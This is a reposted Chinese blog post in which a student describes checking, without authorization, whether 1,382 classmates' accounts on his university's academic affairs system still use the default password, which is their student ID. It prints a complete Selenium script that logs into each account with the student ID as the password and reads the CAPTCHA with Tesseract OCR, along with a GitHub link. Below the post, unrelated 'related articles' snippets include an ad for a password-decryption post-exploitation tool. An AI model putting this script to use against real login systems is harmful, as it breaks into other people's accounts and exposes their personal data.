关于针对本校教务系统漏洞的一次信息检索

2023-11-11 06:50

本文主要是介绍关于针对本校教务系统漏洞的一次信息检索,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

因为很久以前看了一篇别人对教务系统进行信息检索的实例,我也想查看一下我们校区的教务系统到底有多安全。但是在实际写脚本时候,却遇到了很多问题,本篇博客也将是一篇技术总结。


一、前期准备

思路是一个一个学号的去试是否使用了默认密码,我了解到16级的教务系统默认密码是随机码,18级的教务系统默认密码是身份证后六位,但偏偏只有我们17级的默认密码就是学号,而且现在无法进行更改,所以我只针对17级进行检索。

学号是从考试周的工作表得到的,最开始想的是自己构造,后来发现直接可以在专业群聊找到所有专业的考试安排表。

然后针对学号去重。脚本如下

 1 import sys
 2 
 3 vis = {}
 4 
 5 def main():
 6     file_out = open("./data/xh.txt","w+")
 7     with open("./data/xuehao.txt","r") as file_in:
 8         for user in file_in.readlines():
 9             user = user.strip('\n')
10             if user not in vis:
11                 vis[user] = 1
12                 print(user,file=file_out)
13     file_out.close()
14 
15 if __name__ == "__main__":
16     main()
17 else:
18     pass

然后就是开始针对教务系统的模拟登录脚本编写了。

二、脚本编写以及运行

用fiddler扫了一篇网页后,发现是POST传递参数

 

于是就想直接构造一个表单数据POST传递上去查看返回信息,但是遇到了一个问题,验证码,开始我想直接把验证码通过url爬下来,但是F12后发现,验证码的地址是临时随机产生的,如下图

找了很多方法,还是没有解决这个随机验证码的问题。后来借鉴了一种可行的方法,利用selenium扩展库的webdriver直接模拟登录,然后每次截图获取到验证码,虽然效率比较低,但却是一种可行方案。

解决方案如下,利用截图获取验证码图片,然后再利用OCR识别验证码,识别出来可能有空格,所以replace就好了。

其他部分就比较好写了,通过xpath获得网页元素模块,然后直接枚举即可。

三、信息分析

运行结果如下

一共测试了1382个学号,其中有976个都没有更改密码,但是教务系统中包含了大量的个人信息。

这是我的教务系统的个人主页,若是不法分子恶意爬取这些信息将可能造成一些不好的后果。而且教务系统可以直接选课,退课,以及等等和学习有关的操作,其安全问题不可小觑。

当然本次信息检索到此已经结束,只是针对是否改密进行检索,得到结果后我也马上整理发送给了校区赵校长。

四、总结

 照成这么多人没有改密的原因有一点是因为教务系统没法随时进行改密,包括一些18级,16级的同学也说无法改密,但是他们的密码相对而言比较安全,但我们使用学号作为默认密码实在是过于简单。

经过几次思考之后,还是决定把代码整理并放出来,仅供参考学习

编写脚本遇到的一些问题大多都是环境没有配置好的问题,也都得到解决。

脚本代码如下:

 1 import time
 2 import pytesseract
 3 from PIL import Image, ImageEnhance
 4 from selenium import webdriver
 5 from selenium.webdriver.common.by import By
 6  
 7 url = ""
 8 
 9 def work(user_data,pass_data):
10     # 1、打开浏览器,最大化浏览器
11     driver = webdriver.Firefox()
12     driver.get(url)
13     driver.implicitly_wait(40)
14     driver.maximize_window()
15 
16     userElement = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[2]/td/table/tbody/tr[1]/td[2]/input")
17     passElement = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[2]/td/table/tbody/tr[2]/td[2]/input")
18     codeElement = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[2]/td/table/tbody/tr[3]/td[2]/input")
19 
20     # 2、截取屏幕内容,保存到本地
21     driver.save_screenshot("./test/01.png")
22     
23     # 3、打开截图,获取验证码位置,截取保存验证码
24     ran = Image.open("./test/01.png")
25     box = (829, 495, 928, 519)  # 获取验证码位置,代表(左,上,右,下)
26     ran.crop(box).save("./test/02.png")
27     
28     # 4、获取验证码图片,读取验证码
29     imageCode = Image.open("./test/02.png")
30     code = pytesseract.image_to_string(imageCode).strip().replace(" ","")
31     # 5、收到验证码,进行输入验证
32     
33     userElement.send_keys(user_data)
34     passElement.send_keys(pass_data)
35     codeElement.send_keys(code)
36     click_login = driver.find_element(By.XPATH, "//*[@id=\"btnSure\"]")
37     click_login.click()
38     time.sleep(0.01)
39 
40     try:
41         title_data = driver.title
42         if title_data.find('个人管理') != -1:
43             print(user_data,'success')
44             driver.close()
45             return 0
46         else:
47             error_data = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[1]/td/table/tbody/tr/td/table/tbody/tr[2]/td[2]/strong/font").text
48             if error_data.find('验证码错误') != -1:
49                 driver.close()
50                 return 1
51             elif error_data.find('密码不正确') != -1:
52                 print(user_data,'wrong')
53                 driver.close()
54                 return 2
55             elif error_data.find('证件号') != -1:
56                 driver.close()
57                 return 3
58     except Exception:
59             print(user_data,'abnormal')
60             driver.close()
61             return 1
62 
63 def main():
64     i = 1
65     sum = 0
66     ans = ''
67     file_out = open("./data/result.txt",'w+')
68     with open("./data/xh.txt",'r') as file_in:
69         for user in file_in.readlines():
70             user = user.strip('\n')
71             password = user
72             print(i,end = ' ')
73             i += 1
74             ret = work(user,password)
75             while ret == 1:
76                 ret = work(user,password)
77             if ret == 0:
78                 sum += 1
79                 ans = 'correct'
80             elif ret == 2:
81                 ans = 'wrong'
82             elif ret == 3:
83                 ans = 'Number is wrong'
84             print(user,ans,file=file_out)
85     print('Use the default password persons:',sum,file=file_out)
86     file_out.close()
87 
88 
89 if __name__ == "__main__":
90     main()
91 else:
92     pass
View Code

 

或者可以访问GitHub获取:https://github.com/X3NNY/URPscript

希望大家不要用来非法获取信息

转载于:https://www.cnblogs.com/xenny/p/10275352.html

这篇关于关于针对本校教务系统漏洞的一次信息检索的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/388267

相关文章

(function() {})();只执行一次

测试例子: var xx = (function() {     (function() { alert(9) })(); alert(10)     return "yyyy";  })(); 调用: alert(xx); 在调用的时候,你会发现只弹出"yyyy"信息,并不见弹出"10"的信息!这也就是说,这个匿名函数只在立即调用的时候执行一次,这时它已经赋予了给xx变量,也就是只是

flume系列之:记录一次flume agent进程被异常oom kill -9的原因定位

flume系列之:记录一次flume agent进程被异常oom kill -9的原因定位 一、背景二、定位问题三、解决方法 一、背景 flume系列之:定位flume没有关闭某个时间点生成的tmp文件的原因,并制定解决方案在博主上面这篇文章的基础上,在机器内存、cpu资源、flume agent资源都足够的情况下,flume agent又出现了tmp文件无法关闭的情况 二、

一些数学经验总结——关于将原一元二次函数增加一些限制条件后最优结果的对比(主要针对公平关切相关的建模)

1.没有分段的情况 原函数为一元二次凹函数(开口向下),如下: 因为要使得其存在正解,必须满足,那么。 上述函数的最优结果为:,。 对应的mathematica代码如下: Clear["Global`*"]f0[x_, a_, b_, c_, d_] := (a*x - b)*(d - c*x);(*(b c+a d)/(2 a c)*)Maximize[{f0[x, a, b,

jmeter之仅一次控制器

仅一次控制器作用: 不管线程组设置多少次循环,它下面的组件都只会执行一次 Tips:很多情况下需要登录才能访问其他接口,比如:商品列表、添加商品到购物车、购物车列表等,在多场景下,登录只需要1次,我们期望的是重复执行登陆后面的接口来做压测,这就和事务相关,例如 事务1: 登录—>添加购物车 事务2: 登录—>购物车列表 事务3: 登录—>商品列表—>添加购物车 … 一、仅一次控制器案例 在

一次生产环境大量CLOSE_WAIT导致服务无法访问的定位过程

1.症状 生产环境的一个服务突然无法访问,服务的交互过程如下所示: 所有的请求都是通过网关进入,之后分发到后端服务。 现在的情况是用户服务无法访问商旅服务,网关有大量java.net.SocketTimeoutException: Read timed out报错日志,商旅服务也不断有日志打印,大多是回调和定时任务日志,所以故障点在网关和商旅服务,大概率是商旅服务无法访问导致网关超时。 后

关于一次速度优化的往事

来自:hfghfghfg, 时间:2003-11-13 16:32, ID:2292221你最初的代码 Button1 34540毫秒 5638毫秒  Button2 我的代码 这个不是重点,重点是这个  来自:hfghfghfg, 时间:2003-11-13 16:54, ID:22923085528毫秒 不会吧,我是赛杨1.1G  128M内存  w2000, delphi6  128M

VB和51单片机串口通信讲解(只针对VB部分)

标记:该篇文章全部搬自如下网址:http://www.crystalradio.cn/thread-321839-1-1.html,谢谢啦            里面关于中文接收的部分,大家可以好好学习下,题主也在研究中................... Commport;设置或返回串口号。 SettingS:以字符串的形式设置或返回串口通信参数。 Portopen:设置或返回串口

一次关于生产环境服务无故宕机的排查过程

故事的开始 这个故事是在一年之前,当时我们的系统运行在客户的k8s环境上。然后很神奇的是每个月底我们都会服务宕机,当然我们开启了多个实例。当时的容器线条就像心跳图一样(或许有些描述的不太准确,我没有找到当时那个像心电图一样的容器资源监控图)。 第一次的排查 当时我们还是很有信心去解决这个问题的。由于每个月的月底都是业务使用的高峰时段,也就是说,从表象上来看,qps一高,容器就挂。 业务日

计算机毕业设计选题推荐-班级管理系统-教务管理系统-Java/Python项目实战

✨作者主页:IT研究室✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python项目 安卓项目 微信小程序项目 文章目录 一、前言二、开发环境三、系统界面展示四、代码参考五、论文参考六、系统视频结语

【工具分享】针对加解密综合利用后渗透工具 - DecryptTools

下载地址: 链接: https://pan.quark.cn/s/2e451bd65d79 工具介绍 支持22种OA、CMS 加解密+密码查询功能 万户OA用友NC金蝶EAS蓝凌OA致远OA宏景ERP湖南强智金和jc6 瑞友天翼金和C6 Navicat华天动力 FinalShell亿赛通帆软报表H3C CASWeblogic金蝶云星空新华三IMC金盘 OP